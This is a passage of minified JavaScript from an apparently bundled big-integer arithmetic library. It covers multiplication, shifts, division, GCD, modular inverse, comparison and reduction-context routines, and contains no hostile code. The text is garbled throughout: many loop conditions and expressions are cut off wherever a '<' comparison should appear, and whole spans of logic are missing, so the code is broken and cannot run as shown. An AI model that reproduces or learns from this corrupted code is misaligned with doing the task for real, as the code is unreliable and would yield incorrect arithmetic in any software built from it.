X=u-J|0;y=x.words[X]|0,M=f.words[J]|0,A=y*M+V,S+=A/67108864|0,V=A&67108863}h.words[u]=V|0,_=S|0}return _!==0?h.words[u]=_|0:h.length--,h.strip()}var C=function(f,h,g){var y=f.words,M=h.words,A=g.words,k=0,_,u,S,V=y[0]|0,W=V&8191,J=V>>>13,X=y[1]|0,ie=X&8191,fe=X>>>13,Be=y[2]|0,le=Be&8191,ge=Be>>>13,pr=y[3]|0,Me=pr&8191,pe=pr>>>13,Ft=y[4]|0,Ae=Ft&8191,_e=Ft>>>13,nr=y[5]|0,Ie=nr&8191,Oe=nr>>>13,ut=y[6]|0,be=ut&8191,ue=ut>>>13,ir=y[7]|0,we=ir&8191,de=ir>>>13,Or=y[8]|0,v=Or&8191,l=Or>>>13,d=y[9]|0,w=d&8191,O=d>>>13,T=M[0]|0,P=T&8191,Y=T>>>13,Ee=M[1]|0,Q=Ee&8191,te=Ee>>>13,ve=M[2]|0,Re=ve&8191,$e=ve>>>13,so=M[3]|0,Te=so&8191,Pe=so>>>13,fo=M[4]|0,Ne=fo&8191,ze=fo>>>13,lo=M[5]|0,De=lo&8191,Fe=lo>>>13,uo=M[6]|0,Le=uo&8191,je=uo>>>13,co=M[7]|0,Ue=co&8191,qe=co>>>13,ho=M[8]|0,He=ho&8191,Ve=ho>>>13,po=M[9]|0,Ke=po&8191,We=po>>>13;g.negative=f.negative^h.negative,g.length=19,_=Math.imul(W,P),u=Math.imul(W,Y),u=u+Math.imul(J,P)|0,S=Math.imul(J,Y);var Ei=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ei>>>26)|0,Ei&=67108863,_=Math.imul(ie,P),u=Math.imul(ie,Y),u=u+Math.imul(fe,P)|0,S=Math.imul(fe,Y),_=_+Math.imul(W,Q)|0,u=u+Math.imul(W,te)|0,u=u+Math.imul(J,Q)|0,S=S+Math.imul(J,te)|0;var Ai=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ai>>>26)|0,Ai&=67108863,_=Math.imul(le,P),u=Math.imul(le,Y),u=u+Math.imul(ge,P)|0,S=Math.imul(ge,Y),_=_+Math.imul(ie,Q)|0,u=u+Math.imul(ie,te)|0,u=u+Math.imul(fe,Q)|0,S=S+Math.imul(fe,te)|0,_=_+Math.imul(W,Re)|0,u=u+Math.imul(W,$e)|0,u=u+Math.imul(J,Re)|0,S=S+Math.imul(J,$e)|0;var Ii=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ii>>>26)|0,Ii&=67108863,_=Math.imul(Me,P),u=Math.imul(Me,Y),u=u+Math.imul(pe,P)|0,S=Math.imul(pe,Y),_=_+Math.imul(le,Q)|0,u=u+Math.imul(le,te)|0,u=u+Math.imul(ge,Q)|0,S=S+Math.imul(ge,te)|0,_=_+Math.imul(ie,Re)|0,u=u+Math.imul(ie,$e)|0,u=u+Math.imul(fe,Re)|0,S=S+Math.imul(fe,$e)|0,_=_+Math.imul(W,Te)|0,u=u+Math.imul(W,Pe)|0,u=u+Math.imul(J,Te)|0,S=S+Math.imul(J,Pe)|0;var Oi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Oi>>>26)|0,Oi&=67108863,_=Math.imul(Ae,P),u=Math.imul(Ae,Y),u=u+Math.imul(_e,P)|0,S=Math.imul(_e,Y),_=_+Math.imul(Me,Q)|0,u=u+Math.imul(Me,te)|0,u=u+Math.imul(pe,Q)|0,S=S+Math.imul(pe,te)|0,_=_+Math.imul(le,Re)|0,u=u+Math.imul(le,$e)|0,u=u+Math.imul(ge,Re)|0,S=S+Math.imul(ge,$e)|0,_=_+Math.imul(ie,Te)|0,u=u+Math.imul(ie,Pe)|0,u=u+Math.imul(fe,Te)|0,S=S+Math.imul(fe,Pe)|0,_=_+Math.imul(W,Ne)|0,u=u+Math.imul(W,ze)|0,u=u+Math.imul(J,Ne)|0,S=S+Math.imul(J,ze)|0;var Bi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Bi>>>26)|0,Bi&=67108863,_=Math.imul(Ie,P),u=Math.imul(Ie,Y),u=u+Math.imul(Oe,P)|0,S=Math.imul(Oe,Y),_=_+Math.imul(Ae,Q)|0,u=u+Math.imul(Ae,te)|0,u=u+Math.imul(_e,Q)|0,S=S+Math.imul(_e,te)|0,_=_+Math.imul(Me,Re)|0,u=u+Math.imul(Me,$e)|0,u=u+Math.imul(pe,Re)|0,S=S+Math.imul(pe,$e)|0,_=_+Math.imul(le,Te)|0,u=u+Math.imul(le,Pe)|0,u=u+Math.imul(ge,Te)|0,S=S+Math.imul(ge,Pe)|0,_=_+Math.imul(ie,Ne)|0,u=u+Math.imul(ie,ze)|0,u=u+Math.imul(fe,Ne)|0,S=S+Math.imul(fe,ze)|0,_=_+Math.imul(W,De)|0,u=u+Math.imul(W,Fe)|0,u=u+Math.imul(J,De)|0,S=S+Math.imul(J,Fe)|0;var ki=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(ki>>>26)|0,ki&=67108863,_=Math.imul(be,P),u=Math.imul(be,Y),u=u+Math.imul(ue,P)|0,S=Math.imul(ue,Y),_=_+Math.imul(Ie,Q)|0,u=u+Math.imul(Ie,te)|0,u=u+Math.imul(Oe,Q)|0,S=S+Math.imul(Oe,te)|0,_=_+Math.imul(Ae,Re)|0,u=u+Math.imul(Ae,$e)|0,u=u+Math.imul(_e,Re)|0,S=S+Math.imul(_e,$e)|0,_=_+Math.imul(Me,Te)|0,u=u+Math.imul(Me,Pe)|0,u=u+Math.imul(pe,Te)|0,S=S+Math.imul(pe,Pe)|0,_=_+Math.imul(le,Ne)|0,u=u+Math.imul(le,ze)|0,u=u+Math.imul(ge,Ne)|0,S=S+Math.imul(ge,ze)|0,_=_+Math.imul(ie,De)|0,u=u+Math.imul(ie,Fe)|0,u=u+Math.imul(fe,De)|0,S=S+Math.imul(fe,Fe)|0,_=_+Math.imul(W,Le)|0,u=u+Math.imul(W,je)|0,u=u+Math.imul(J,Le)|0,S=S+Math.imul(J,je)|0;var Ci=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ci>>>26)|0,Ci&=67108863,_=Math.imul(we,P),u=Math.imul(we,Y),u=u+Math.imul(de,P)|0,S=Math.imul(de,Y),_=_+Math.imul(be,Q)|0,u=u+Math.imul(be,te)|0,u=u+Math.imul(ue,Q)|0,S=S+Math.imul(ue,te)|0,_=_+Math.imul(Ie,Re)|0,u=u+Math.imul(Ie,$e)|0,u=u+Math.imul(Oe,Re)|0,S=S+Math.imul(Oe,$e)|0,_=_+Math.imul(Ae,Te)|0,u=u+Math.imul(Ae,Pe)|0,u=u+Math.imul(_e,Te)|0,S=S+Math.imul(_e,Pe)|0,_=_+Math.imul(Me,Ne)|0,u=u+Math.imul(Me,ze)|0,u=u+Math.imul(pe,Ne)|0,S=S+Math.imul(pe,ze)|0,_=_+Math.imul(le,De)|0,u=u+Math.imul(le,Fe)|0,u=u+Math.imul(ge,De)|0,S=S+Math.imul(ge,Fe)|0,_=_+Math.imul(ie,Le)|0,u=u+Math.imul(ie,je)|0,u=u+Math.imul(fe,Le)|0,S=S+Math.imul(fe,je)|0,_=_+Math.imul(W,Ue)|0,u=u+Math.imul(W,qe)|0,u=u+Math.imul(J,Ue)|0,S=S+Math.imul(J,qe)|0;var Ri=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ri>>>26)|0,Ri&=67108863,_=Math.imul(v,P),u=Math.imul(v,Y),u=u+Math.imul(l,P)|0,S=Math.imul(l,Y),_=_+Math.imul(we,Q)|0,u=u+Math.imul(we,te)|0,u=u+Math.imul(de,Q)|0,S=S+Math.imul(de,te)|0,_=_+Math.imul(be,Re)|0,u=u+Math.imul(be,$e)|0,u=u+Math.imul(ue,Re)|0,S=S+Math.imul(ue,$e)|0,_=_+Math.imul(Ie,Te)|0,u=u+Math.imul(Ie,Pe)|0,u=u+Math.imul(Oe,Te)|0,S=S+Math.imul(Oe,Pe)|0,_=_+Math.imul(Ae,Ne)|0,u=u+Math.imul(Ae,ze)|0,u=u+Math.imul(_e,Ne)|0,S=S+Math.imul(_e,ze)|0,_=_+Math.imul(Me,De)|0,u=u+Math.imul(Me,Fe)|0,u=u+Math.imul(pe,De)|0,S=S+Math.imul(pe,Fe)|0,_=_+Math.imul(le,Le)|0,u=u+Math.imul(le,je)|0,u=u+Math.imul(ge,Le)|0,S=S+Math.imul(ge,je)|0,_=_+Math.imul(ie,Ue)|0,u=u+Math.imul(ie,qe)|0,u=u+Math.imul(fe,Ue)|0,S=S+Math.imul(fe,qe)|0,_=_+Math.imul(W,He)|0,u=u+Math.imul(W,Ve)|0,u=u+Math.imul(J,He)|0,S=S+Math.imul(J,Ve)|0;var $i=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+($i>>>26)|0,$i&=67108863,_=Math.imul(w,P),u=Math.imul(w,Y),u=u+Math.imul(O,P)|0,S=Math.imul(O,Y),_=_+Math.imul(v,Q)|0,u=u+Math.imul(v,te)|0,u=u+Math.imul(l,Q)|0,S=S+Math.imul(l,te)|0,_=_+Math.imul(we,Re)|0,u=u+Math.imul(we,$e)|0,u=u+Math.imul(de,Re)|0,S=S+Math.imul(de,$e)|0,_=_+Math.imul(be,Te)|0,u=u+Math.imul(be,Pe)|0,u=u+Math.imul(ue,Te)|0,S=S+Math.imul(ue,Pe)|0,_=_+Math.imul(Ie,Ne)|0,u=u+Math.imul(Ie,ze)|0,u=u+Math.imul(Oe,Ne)|0,S=S+Math.imul(Oe,ze)|0,_=_+Math.imul(Ae,De)|0,u=u+Math.imul(Ae,Fe)|0,u=u+Math.imul(_e,De)|0,S=S+Math.imul(_e,Fe)|0,_=_+Math.imul(Me,Le)|0,u=u+Math.imul(Me,je)|0,u=u+Math.imul(pe,Le)|0,S=S+Math.imul(pe,je)|0,_=_+Math.imul(le,Ue)|0,u=u+Math.imul(le,qe)|0,u=u+Math.imul(ge,Ue)|0,S=S+Math.imul(ge,qe)|0,_=_+Math.imul(ie,He)|0,u=u+Math.imul(ie,Ve)|0,u=u+Math.imul(fe,He)|0,S=S+Math.imul(fe,Ve)|0,_=_+Math.imul(W,Ke)|0,u=u+Math.imul(W,We)|0,u=u+Math.imul(J,Ke)|0,S=S+Math.imul(J,We)|0;var Ti=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ti>>>26)|0,Ti&=67108863,_=Math.imul(w,Q),u=Math.imul(w,te),u=u+Math.imul(O,Q)|0,S=Math.imul(O,te),_=_+Math.imul(v,Re)|0,u=u+Math.imul(v,$e)|0,u=u+Math.imul(l,Re)|0,S=S+Math.imul(l,$e)|0,_=_+Math.imul(we,Te)|0,u=u+Math.imul(we,Pe)|0,u=u+Math.imul(de,Te)|0,S=S+Math.imul(de,Pe)|0,_=_+Math.imul(be,Ne)|0,u=u+Math.imul(be,ze)|0,u=u+Math.imul(ue,Ne)|0,S=S+Math.imul(ue,ze)|0,_=_+Math.imul(Ie,De)|0,u=u+Math.imul(Ie,Fe)|0,u=u+Math.imul(Oe,De)|0,S=S+Math.imul(Oe,Fe)|0,_=_+Math.imul(Ae,Le)|0,u=u+Math.imul(Ae,je)|0,u=u+Math.imul(_e,Le)|0,S=S+Math.imul(_e,je)|0,_=_+Math.imul(Me,Ue)|0,u=u+Math.imul(Me,qe)|0,u=u+Math.imul(pe,Ue)|0,S=S+Math.imul(pe,qe)|0,_=_+Math.imul(le,He)|0,u=u+Math.imul(le,Ve)|0,u=u+Math.imul(ge,He)|0,S=S+Math.imul(ge,Ve)|0,_=_+Math.imul(ie,Ke)|0,u=u+Math.imul(ie,We)|0,u=u+Math.imul(fe,Ke)|0,S=S+Math.imul(fe,We)|0;var Pi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Pi>>>26)|0,Pi&=67108863,_=Math.imul(w,Re),u=Math.imul(w,$e),u=u+Math.imul(O,Re)|0,S=Math.imul(O,$e),_=_+Math.imul(v,Te)|0,u=u+Math.imul(v,Pe)|0,u=u+Math.imul(l,Te)|0,S=S+Math.imul(l,Pe)|0,_=_+Math.imul(we,Ne)|0,u=u+Math.imul(we,ze)|0,u=u+Math.imul(de,Ne)|0,S=S+Math.imul(de,ze)|0,_=_+Math.imul(be,De)|0,u=u+Math.imul(be,Fe)|0,u=u+Math.imul(ue,De)|0,S=S+Math.imul(ue,Fe)|0,_=_+Math.imul(Ie,Le)|0,u=u+Math.imul(Ie,je)|0,u=u+Math.imul(Oe,Le)|0,S=S+Math.imul(Oe,je)|0,_=_+Math.imul(Ae,Ue)|0,u=u+Math.imul(Ae,qe)|0,u=u+Math.imul(_e,Ue)|0,S=S+Math.imul(_e,qe)|0,_=_+Math.imul(Me,He)|0,u=u+Math.imul(Me,Ve)|0,u=u+Math.imul(pe,He)|0,S=S+Math.imul(pe,Ve)|0,_=_+Math.imul(le,Ke)|0,u=u+Math.imul(le,We)|0,u=u+Math.imul(ge,Ke)|0,S=S+Math.imul(ge,We)|0;var Ni=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ni>>>26)|0,Ni&=67108863,_=Math.imul(w,Te),u=Math.imul(w,Pe),u=u+Math.imul(O,Te)|0,S=Math.imul(O,Pe),_=_+Math.imul(v,Ne)|0,u=u+Math.imul(v,ze)|0,u=u+Math.imul(l,Ne)|0,S=S+Math.imul(l,ze)|0,_=_+Math.imul(we,De)|0,u=u+Math.imul(we,Fe)|0,u=u+Math.imul(de,De)|0,S=S+Math.imul(de,Fe)|0,_=_+Math.imul(be,Le)|0,u=u+Math.imul(be,je)|0,u=u+Math.imul(ue,Le)|0,S=S+Math.imul(ue,je)|0,_=_+Math.imul(Ie,Ue)|0,u=u+Math.imul(Ie,qe)|0,u=u+Math.imul(Oe,Ue)|0,S=S+Math.imul(Oe,qe)|0,_=_+Math.imul(Ae,He)|0,u=u+Math.imul(Ae,Ve)|0,u=u+Math.imul(_e,He)|0,S=S+Math.imul(_e,Ve)|0,_=_+Math.imul(Me,Ke)|0,u=u+Math.imul(Me,We)|0,u=u+Math.imul(pe,Ke)|0,S=S+Math.imul(pe,We)|0;var zi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(zi>>>26)|0,zi&=67108863,_=Math.imul(w,Ne),u=Math.imul(w,ze),u=u+Math.imul(O,Ne)|0,S=Math.imul(O,ze),_=_+Math.imul(v,De)|0,u=u+Math.imul(v,Fe)|0,u=u+Math.imul(l,De)|0,S=S+Math.imul(l,Fe)|0,_=_+Math.imul(we,Le)|0,u=u+Math.imul(we,je)|0,u=u+Math.imul(de,Le)|0,S=S+Math.imul(de,je)|0,_=_+Math.imul(be,Ue)|0,u=u+Math.imul(be,qe)|0,u=u+Math.imul(ue,Ue)|0,S=S+Math.imul(ue,qe)|0,_=_+Math.imul(Ie,He)|0,u=u+Math.imul(Ie,Ve)|0,u=u+Math.imul(Oe,He)|0,S=S+Math.imul(Oe,Ve)|0,_=_+Math.imul(Ae,Ke)|0,u=u+Math.imul(Ae,We)|0,u=u+Math.imul(_e,Ke)|0,S=S+Math.imul(_e,We)|0;var Di=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Di>>>26)|0,Di&=67108863,_=Math.imul(w,De),u=Math.imul(w,Fe),u=u+Math.imul(O,De)|0,S=Math.imul(O,Fe),_=_+Math.imul(v,Le)|0,u=u+Math.imul(v,je)|0,u=u+Math.imul(l,Le)|0,S=S+Math.imul(l,je)|0,_=_+Math.imul(we,Ue)|0,u=u+Math.imul(we,qe)|0,u=u+Math.imul(de,Ue)|0,S=S+Math.imul(de,qe)|0,_=_+Math.imul(be,He)|0,u=u+Math.imul(be,Ve)|0,u=u+Math.imul(ue,He)|0,S=S+Math.imul(ue,Ve)|0,_=_+Math.imul(Ie,Ke)|0,u=u+Math.imul(Ie,We)|0,u=u+Math.imul(Oe,Ke)|0,S=S+Math.imul(Oe,We)|0;var Fi=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Fi>>>26)|0,Fi&=67108863,_=Math.imul(w,Le),u=Math.imul(w,je),u=u+Math.imul(O,Le)|0,S=Math.imul(O,je),_=_+Math.imul(v,Ue)|0,u=u+Math.imul(v,qe)|0,u=u+Math.imul(l,Ue)|0,S=S+Math.imul(l,qe)|0,_=_+Math.imul(we,He)|0,u=u+Math.imul(we,Ve)|0,u=u+Math.imul(de,He)|0,S=S+Math.imul(de,Ve)|0,_=_+Math.imul(be,Ke)|0,u=u+Math.imul(be,We)|0,u=u+Math.imul(ue,Ke)|0,S=S+Math.imul(ue,We)|0;var Li=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Li>>>26)|0,Li&=67108863,_=Math.imul(w,Ue),u=Math.imul(w,qe),u=u+Math.imul(O,Ue)|0,S=Math.imul(O,qe),_=_+Math.imul(v,He)|0,u=u+Math.imul(v,Ve)|0,u=u+Math.imul(l,He)|0,S=S+Math.imul(l,Ve)|0,_=_+Math.imul(we,Ke)|0,u=u+Math.imul(we,We)|0,u=u+Math.imul(de,Ke)|0,S=S+Math.imul(de,We)|0;var ji=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(ji>>>26)|0,ji&=67108863,_=Math.imul(w,He),u=Math.imul(w,Ve),u=u+Math.imul(O,He)|0,S=Math.imul(O,Ve),_=_+Math.imul(v,Ke)|0,u=u+Math.imul(v,We)|0,u=u+Math.imul(l,Ke)|0,S=S+Math.imul(l,We)|0;var Ui=(k+_|0)+((u&8191)<<13)|0;k=(S+(u>>>13)|0)+(Ui>>>26)|0,Ui&=67108863,_=Math.imul(w,Ke),u=Math.imul(w,We),u=u+Math.imul(O,Ke)|0,S=Math.imul(O,We);var qi=(k+_|0)+((u&8191)<<13)|0;return k=(S+(u>>>13)|0)+(qi>>>26)|0,qi&=67108863,A[0]=Ei,A[1]=Ai,A[2]=Ii,A[3]=Oi,A[4]=Bi,A[5]=ki,A[6]=Ci,A[7]=Ri,A[8]=$i,A[9]=Ti,A[10]=Pi,A[11]=Ni,A[12]=zi,A[13]=Di,A[14]=Fi,A[15]=Li,A[16]=ji,A[17]=Ui,A[18]=qi,k!==0&&(A[19]=k,g.length++),g};Math.imul||(C=B);function F(x,f,h){h.negative=f.negative^x.negative,h.length=x.length+f.length;for(var g=0,y=0,M=0;M>>26)|0,y+=A>>>26,A&=67108863}h.words[M]=k,g=A,A=y}return g!==0?h.words[M]=g:h.length--,h.strip()}function z(x,f,h){var g=new D;return g.mulp(x,f,h)}a.prototype.mulTo=function(f,h){var g,y=this.length+f.length;return this.length===10&&f.length===10?g=C(this,f,h):y<63?g=B(this,f,h):y<1024?g=F(this,f,h):g=z(this,f,h),g};function D(x,f){this.x=x,this.y=f}D.prototype.makeRBT=function(f){for(var h=new Array(f),g=a.prototype._countBits(f)-1,y=0;y>=1;return y},D.prototype.permute=function(f,h,g,y,M,A){for(var k=0;k>>1)M++;return 1<>>13,g[2*A+1]=M&8191,M=M>>>13;for(A=2*h;A>=26,h+=y/67108864|0,h+=M>>>26,this.words[g]=M&67108863}return h!==0&&(this.words[g]=h,this.length++),this},a.prototype.muln=function(f){return this.clone().imuln(f)},a.prototype.sqr=function(){return this.mul(this)},a.prototype.isqr=function(){return this.imul(this.clone())},a.prototype.pow=function(f){var h=I(f);if(h.length===0)return new a(1);for(var g=this,y=0;y=0);var h=f%26,g=(f-h)/26,y=67108863>>>26-h<<26-h,M;if(h!==0){var A=0;for(M=0;M>>26-h}A&&(this.words[M]=A,this.length++)}if(g!==0){for(M=this.length-1;M>=0;M--)this.words[M+g]=this.words[M];for(M=0;M=0);var y;h?y=(h-h%26)/26:y=0;var M=f%26,A=Math.min((f-M)/26,this.length),k=67108863^67108863>>>M<A)for(this.length-=A,u=0;u=0&&(S!==0||u>=y);u--){var V=this.words[u]|0;this.words[u]=S<<26-M|V>>>M,S=V&k}return _&&S!==0&&(_.words[_.length++]=S),this.length===0&&(this.words[0]=0,this.length=1),this.strip()},a.prototype.ishrn=function(f,h,g){return n(this.negative===0),this.iushrn(f,h,g)},a.prototype.shln=function(f){return this.clone().ishln(f)},a.prototype.ushln=function(f){return this.clone().iushln(f)},a.prototype.shrn=function(f){return this.clone().ishrn(f)},a.prototype.ushrn=function(f){return this.clone().iushrn(f)},a.prototype.testn=function(f){n(typeof f=="number"&&f>=0);var h=f%26,g=(f-h)/26,y=1<=0);var h=f%26,g=(f-h)/26;if(n(this.negative===0,"imaskn works only with positive numbers"),this.length<=g)return this;if(h!==0&&g++,this.length=Math.min(g,this.length),h!==0){var y=67108863^67108863>>>h<=67108864;h++)this.words[h]-=67108864,h===this.length-1?this.words[h+1]=1:this.words[h+1]++;return this.length=Math.max(this.length,h+1),this},a.prototype.isubn=function(f){if(n(typeof f=="number"),n(f<67108864),f<0)return this.iaddn(-f);if(this.negative!==0)return this.negative=0,this.iaddn(f),this.negative=1,this;if(this.words[0]-=f,this.length===1&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var h=0;h>26)-(_/67108864|0),this.words[M+g]=A&67108863}for(;M>26,this.words[M+g]=A&67108863;if(k===0)return this.strip();for(n(k===-1),k=0,M=0;M>26,this.words[M]=A&67108863;return this.negative=1,this.strip()},a.prototype._wordDiv=function(f,h){var g=this.length-f.length,y=this.clone(),M=f,A=M.words[M.length-1]|0,k=this._countBits(A);g=26-k,g!==0&&(M=M.ushln(g),y.iushln(g),A=M.words[M.length-1]|0);var _=y.length-M.length,u;if(h!=="mod"){u=new a(null),u.length=_+1,u.words=new Array(u.length);for(var S=0;S=0;W--){var J=(y.words[M.length+W]|0)*67108864+(y.words[M.length+W-1]|0);for(J=Math.min(J/A|0,67108863),y._ishlnsubmul(M,J,W);y.negative!==0;)J--,y.negative=0,y._ishlnsubmul(M,1,W),y.isZero()||(y.negative^=1);u&&(u.words[W]=J)}return u&&u.strip(),y.strip(),h!=="div"&&g!==0&&y.iushrn(g),{div:u||null,mod:y}},a.prototype.divmod=function(f,h,g){if(n(!f.isZero()),this.isZero())return{div:new a(0),mod:new a(0)};var y,M,A;return this.negative!==0&&f.negative===0?(A=this.neg().divmod(f,h),h!=="mod"&&(y=A.div.neg()),h!=="div"&&(M=A.mod.neg(),g&&M.negative!==0&&M.iadd(f)),{div:y,mod:M}):this.negative===0&&f.negative!==0?(A=this.divmod(f.neg(),h),h!=="mod"&&(y=A.div.neg()),{div:y,mod:A.mod}):this.negative&f.negative?(A=this.neg().divmod(f.neg(),h),h!=="div"&&(M=A.mod.neg(),g&&M.negative!==0&&M.isub(f)),{div:A.div,mod:M}):f.length>this.length||this.cmp(f)<0?{div:new a(0),mod:this}:f.length===1?h==="div"?{div:this.divn(f.words[0]),mod:null}:h==="mod"?{div:null,mod:new a(this.modn(f.words[0]))}:{div:this.divn(f.words[0]),mod:new a(this.modn(f.words[0]))}:this._wordDiv(f,h)},a.prototype.div=function(f){return this.divmod(f,"div",!1).div},a.prototype.mod=function(f){return this.divmod(f,"mod",!1).mod},a.prototype.umod=function(f){return this.divmod(f,"mod",!0).mod},a.prototype.divRound=function(f){var h=this.divmod(f);if(h.mod.isZero())return h.div;var g=h.div.negative!==0?h.mod.isub(f):h.mod,y=f.ushrn(1),M=f.andln(1),A=g.cmp(y);return A<0||M===1&&A===0?h.div:h.div.negative!==0?h.div.isubn(1):h.div.iaddn(1)},a.prototype.modn=function(f){n(f<=67108863);for(var h=(1<<26)%f,g=0,y=this.length-1;y>=0;y--)g=(h*g+(this.words[y]|0))%f;return g},a.prototype.idivn=function(f){n(f<=67108863);for(var h=0,g=this.length-1;g>=0;g--){var y=(this.words[g]|0)+h*67108864;this.words[g]=y/f|0,h=y%f}return this.strip()},a.prototype.divn=function(f){return this.clone().idivn(f)},a.prototype.egcd=function(f){n(f.negative===0),n(!f.isZero());var h=this,g=f.clone();h.negative!==0?h=h.umod(f):h=h.clone();for(var y=new a(1),M=new a(0),A=new a(0),k=new a(1),_=0;h.isEven()&&g.isEven();)h.iushrn(1),g.iushrn(1),++_;for(var u=g.clone(),S=h.clone();!h.isZero();){for(var V=0,W=1;!(h.words[0]&W)&&V<26;++V,W<<=1);if(V>0)for(h.iushrn(V);V-- >0;)(y.isOdd()||M.isOdd())&&(y.iadd(u),M.isub(S)),y.iushrn(1),M.iushrn(1);for(var J=0,X=1;!(g.words[0]&X)&&J<26;++J,X<<=1);if(J>0)for(g.iushrn(J);J-- >0;)(A.isOdd()||k.isOdd())&&(A.iadd(u),k.isub(S)),A.iushrn(1),k.iushrn(1);h.cmp(g)>=0?(h.isub(g),y.isub(A),M.isub(k)):(g.isub(h),A.isub(y),k.isub(M))}return{a:A,b:k,gcd:g.iushln(_)}},a.prototype._invmp=function(f){n(f.negative===0),n(!f.isZero());var h=this,g=f.clone();h.negative!==0?h=h.umod(f):h=h.clone();for(var y=new a(1),M=new a(0),A=g.clone();h.cmpn(1)>0&&g.cmpn(1)>0;){for(var k=0,_=1;!(h.words[0]&_)&&k<26;++k,_<<=1);if(k>0)for(h.iushrn(k);k-- >0;)y.isOdd()&&y.iadd(A),y.iushrn(1);for(var u=0,S=1;!(g.words[0]&S)&&u<26;++u,S<<=1);if(u>0)for(g.iushrn(u);u-- >0;)M.isOdd()&&M.iadd(A),M.iushrn(1);h.cmp(g)>=0?(h.isub(g),y.isub(M)):(g.isub(h),M.isub(y))}var V;return h.cmpn(1)===0?V=y:V=M,V.cmpn(0)<0&&V.iadd(f),V},a.prototype.gcd=function(f){if(this.isZero())return f.abs();if(f.isZero())return this.abs();var h=this.clone(),g=f.clone();h.negative=0,g.negative=0;for(var y=0;h.isEven()&&g.isEven();y++)h.iushrn(1),g.iushrn(1);do{for(;h.isEven();)h.iushrn(1);for(;g.isEven();)g.iushrn(1);var M=h.cmp(g);if(M<0){var A=h;h=g,g=A}else if(M===0||g.cmpn(1)===0)break;h.isub(g)}while(!0);return g.iushln(y)},a.prototype.invm=function(f){return this.egcd(f).a.umod(f)},a.prototype.isEven=function(){return(this.words[0]&1)===0},a.prototype.isOdd=function(){return(this.words[0]&1)===1},a.prototype.andln=function(f){return this.words[0]&f},a.prototype.bincn=function(f){n(typeof f=="number");var h=f%26,g=(f-h)/26,y=1<>>26,k&=67108863,this.words[A]=k}return M!==0&&(this.words[A]=M,this.length++),this},a.prototype.isZero=function(){return this.length===1&&this.words[0]===0},a.prototype.cmpn=function(f){var h=f<0;if(this.negative!==0&&!h)return-1;if(this.negative===0&&h)return 1;this.strip();var g;if(this.length>1)g=1;else{h&&(f=-f),n(f<=67108863,"Number is too big");var y=this.words[0]|0;g=y===f?0:yf.length)return 1;if(this.length=0;g--){var y=this.words[g]|0,M=f.words[g]|0;if(y!==M){yM&&(h=1);break}}return h},a.prototype.gtn=function(f){return this.cmpn(f)===1},a.prototype.gt=function(f){return this.cmp(f)===1},a.prototype.gten=function(f){return this.cmpn(f)>=0},a.prototype.gte=function(f){return this.cmp(f)>=0},a.prototype.ltn=function(f){return this.cmpn(f)===-1},a.prototype.lt=function(f){return this.cmp(f)===-1},a.prototype.lten=function(f){return this.cmpn(f)<=0},a.prototype.lte=function(f){return this.cmp(f)<=0},a.prototype.eqn=function(f){return this.cmpn(f)===0},a.prototype.eq=function(f){return this.cmp(f)===0},a.red=function(f){return new H(f)},a.prototype.toRed=function(f){return n(!this.red,"Already a number in reduction context"),n(this.negative===0,"red works only with positives"),f.convertTo(this)._forceRed(f)},a.prototype.fromRed=function(){return n(this.red,"fromRed works only with numbers in reduction context"),this.red.convertFrom(this)},a.prototype._forceRed=function(f){return this.red=f,this},a.prototype.forceRed=function(f){return n(!this.red,"Already a number in reduction context"),this._forceRed(f)},a.prototype.redAdd=function(f){return n(this.red,"redAdd works only with red numbers"),this.red.add(this,f)},a.prototype.redIAdd=function(f){return n(this.red,"redIAdd works only with red numbers"),this.red.iadd(this,f)},a.prototype.redSub=function(f){return n(this.red,"redSub works only with red numbers"),this.red.sub(this,f)},a.prototype.redISub=function(f){return n(this.red,"redISub works only with red numbers"),this.red.isub(this,f)},a.prototype.redShl=function(f){return n(this.red,"redShl works only with red numbers"),this.red.shl(this,f)},a.prototype.redMul=function(f){return n(this.red,"redMul works only with red numbers"),this.red._verify2(this,f),this.red.mul(this,f)},a.prototype.redIMul=function(f){return n(this.red,"redMul works only with red numbers"),this.red._verify2(this,f),this.red.imul(this,f)},a.prototype.redSqr=function(){return n(this.red,"redSqr works only with red numbers"),this.red._verify1(this),this.red.sqr(this)},a.prototype.redISqr=function(){return n(this.red,"redISqr works only with red numbers"),this.red._verify1(this),this.red.isqr(this)},a.prototype.redSqrt=function(){return n(this.red,"redSqrt works only with red numbers"),this.red._verify1(this),this.red.sqrt(this)},a.prototype.redInvm=function(){return n(this.red,"redInvm works only with red numbers"),this.red._verify1(this),this.red.invm(this)},a.prototype.redNeg=function(){return n(this.red,"redNeg works only with red numbers"),this.red._verify1(this),this.red.neg(this)},a.prototype.redPow=function(f){return n(this.red&&!f.red,"redPow(normalNum)"),this.red._verify1(this),this.red.pow(this,f)};var R={k256:null,p224:null,p192:null,p25519:null};function N(x,f){this.name=x,this.p=new a(f,16),this.n=this.p.bitLength(),this.k=new a(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}N.prototype._tmp=function(){var f=new a(null);return f.words=new Array(Math.ceil(this.n/13)),f},N.prototype.ireduce=function(f){var h=f,g;do this.split(h,this.tmp),h=this.imulK(h),h=h.iadd(this.tmp),g=h.bitLength();while(g>this.n);var y=g0?h.isub(this.p):h.strip!==void 